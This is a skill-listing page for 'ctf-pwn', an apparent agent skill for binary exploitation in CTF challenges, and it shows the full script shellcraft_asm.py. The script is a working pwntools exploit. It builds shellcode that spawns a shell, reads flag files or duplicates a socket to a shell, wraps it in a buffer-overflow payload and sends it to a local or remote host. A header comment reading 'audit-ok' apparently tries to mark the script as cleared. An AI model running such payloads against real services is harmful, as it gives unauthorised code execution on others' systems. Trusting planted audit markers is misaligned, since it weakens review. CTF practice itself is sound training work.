Skip to content

ljagiello/ctf-skills / ctf-pwn

ctf-pwn

Flagged

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

FileKindSize
SKILL.mdskill md20.4 KB
advanced-exploits-2.mdmarkdown30.4 KB
advanced-exploits-3.mdmarkdown32.5 KB
advanced-exploits-4.mdmarkdown30.5 KB
advanced-exploits-5.mdmarkdown6.1 KB
advanced-exploits.mdmarkdown35.0 KB
advanced.mdmarkdown14.3 KB
attack-playbook.mdmarkdown5.6 KB
field-notes.mdmarkdown25.7 KB
format-string.mdmarkdown32.3 KB
heap-fsop.mdmarkdown14.8 KB
heap-techniques-2.mdmarkdown19.8 KB
heap-techniques.mdmarkdown37.2 KB
kernel-bypass.mdmarkdown19.6 KB
kernel-techniques.mdmarkdown18.6 KB
kernel.mdmarkdown32.0 KB
overflow-basics.mdmarkdown26.2 KB
pwnable-tw/3x17.mdmarkdown11.3 KB
pwnable-tw/README.mdmarkdown54.0 KB
pwnable-tw/alive_note.mdmarkdown13.9 KB
pwnable-tw/applestore.mdmarkdown14.0 KB
pwnable-tw/babyallocator.mdmarkdown14.8 KB
pwnable-tw/babystack.mdmarkdown15.0 KB
pwnable-tw/bash.mdmarkdown10.3 KB
pwnable-tw/bash_revenge.mdmarkdown14.2 KB
pwnable-tw/bookwriter.mdmarkdown12.7 KB
pwnable-tw/bounty_program_a.mdmarkdown14.1 KB
pwnable-tw/bounty_program_b.mdmarkdown13.5 KB
pwnable-tw/break_out.mdmarkdown14.1 KB
pwnable-tw/calc.mdmarkdown13.2 KB
pwnable-tw/caov.mdmarkdown13.4 KB
pwnable-tw/criticalheap.mdmarkdown14.0 KB
pwnable-tw/criticalheap_pp.mdmarkdown13.3 KB
pwnable-tw/de_aslr.mdmarkdown14.8 KB
pwnable-tw/death_note.mdmarkdown13.7 KB
pwnable-tw/digimon.mdmarkdown14.5 KB
pwnable-tw/dubblesort.mdmarkdown11.5 KB
pwnable-tw/food_store.mdmarkdown12.8 KB
pwnable-tw/ghost_party.mdmarkdown13.2 KB
pwnable-tw/hacknote.mdmarkdown12.4 KB
pwnable-tw/heap_paradise.mdmarkdown12.4 KB
pwnable-tw/hitcon_ftp.mdmarkdown13.7 KB
pwnable-tw/kidding.mdmarkdown13.3 KB
pwnable-tw/mno2.mdmarkdown12.5 KB
pwnable-tw/omegago.mdmarkdown13.6 KB
pwnable-tw/orw.mdmarkdown11.8 KB
pwnable-tw/printable.mdmarkdown13.7 KB
pwnable-tw/re_alloc.mdmarkdown11.6 KB
pwnable-tw/re_alloc_revenge.mdmarkdown11.5 KB
pwnable-tw/seccomptools.mdmarkdown12.3 KB
pwnable-tw/secret_garden.mdmarkdown13.9 KB
pwnable-tw/secret_of_my_heart.mdmarkdown12.6 KB
pwnable-tw/seethefile.mdmarkdown12.4 KB
pwnable-tw/silver_bullet.mdmarkdown14.0 KB
pwnable-tw/spirited_away.mdmarkdown11.9 KB
pwnable-tw/starbound.mdmarkdown13.3 KB
pwnable-tw/start.mdmarkdown10.7 KB
pwnable-tw/stupid_boss.mdmarkdown13.4 KB
pwnable-tw/tcache_tear.mdmarkdown12.5 KB
pwnable-tw/unexploitable.mdmarkdown14.4 KB
pwnable-tw/wannaheap.mdmarkdown12.9 KB
rop-advanced.mdmarkdown32.3 KB
rop-and-shellcode.mdmarkdown28.1 KB
sandbox-escape.mdmarkdown15.1 KB
scripts/fmtstr_payload_suite.pyexecutablescript3.1 KB
scripts/ret2libc_two_stage.pyexecutablescript2.5 KB
scripts/seccomp_orw_generator.pyexecutablescript3.2 KB
scripts/shellcraft_asm.pyexecutablescript2.7 KB
scripts/srop_execve.pyexecutablescript2.7 KB
static-signals.mdmarkdown2.2 KB
tools-mcp.mdmarkdown11.8 KB

scripts/shellcraft_asm.py

View on GitHub
#!/usr/bin/env python3
# <!-- audit-ok --> shellcraft + asm generation with yield variants
"""Shellcraft assembly generation: amd64 linux shellcode via pwntools.

Sets context.arch/os before asm, yields multiple shellcode strategies
(sh, cat flag, execveat, dup2+shell). Modern pwntools 4.15.0 template.
"""
from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "info"

exe = context.binary = ELF(args.EXE or "./vuln", checksec=False)
libc = ELF(args.LIBC or "./libc.so.6", checksec=False)

HOST = args.HOST or "localhost"
PORT = int(args.PORT or 1337)
GDBSCRIPT = """
break main
c
"""


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    if args.GDB:
        return gdb.debug([exe.path], gdbscript=GDBSCRIPT)
    return process([exe.path])


OFFSET = 40


def shellcode_variants(avoid=None):
    """Yield (name, shellcode_bytes) for common CTF objectives."""
    # classic /bin/sh
    yield ("sh", encode(asm(shellcraft.sh()), avoid) if avoid else asm(shellcraft.sh()))
    # cat flag
    yield ("cat_flag", encode(asm(shellcraft.cat("flag.txt")), avoid) if avoid else asm(shellcraft.cat("flag.txt")))
    yield ("cat_flag_abs", encode(asm(shellcraft.cat("/flag*")), avoid) if avoid else asm(shellcraft.cat("/flag*")))
    # execve /bin/sh
    yield ("execve", encode(asm(shellcraft.execve("/bin/sh", 0, 0)), avoid) if avoid else asm(shellcraft.execve("/bin/sh", 0, 0)))
    # dup2 + shell for remote_fd cases
    yield ("dup2_sh", encode(asm(shellcraft.dupsh(4)), avoid) if avoid else asm(shellcraft.dupsh(4)))
    # small read stub for constrained buffers
    yield ("read_stub", encode(asm(shellcraft.read(0, "rsp", 0x100)), avoid) if avoid else asm(shellcraft.read(0, "rsp", 0x100)))


def orw_shellcode(path="/flag", fd=3):
    """Yield ORW shellcode: open/read/write loop for seccomp-safe exfil."""
    sc = shellcraft.open(path)
    sc += shellcraft.read("rax", "rsp", 0x100)
    sc += shellcraft.write(1, "rsp", 0x100)
    yield ("orw", asm(sc))
    sc2 = shellcraft.amd64.linux.open(path, 0)
    sc2 += shellcraft.amd64.linux.read("rax", "rsp", 100)
    sc2 += shellcraft.amd64.linux.write(1, "rsp", 100)
    yield ("orw_amd64_explicit", asm(sc2))


def build_payload(shellcode):
    """Wrap shellcode with offset flat for overflow."""
    return flat({OFFSET: shellcode}, filler=b"\x90")


def exploit():
    io = start()
    for name, sc in shellcode_variants():
        log.info(f"shellcode {name}: {len(sc)} bytes")
        dis = disasm(sc[:32])
        log.debug(dis)
    # pick smallest that fits
    name, sc = next(shellcode_variants())
    log.success(f"using {name} ({len(sc)} bytes)")
    payload = build_payload(sc)
    io.sendline(payload)
    io.interactive()


if __name__ == "__main__":
    exploit()
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall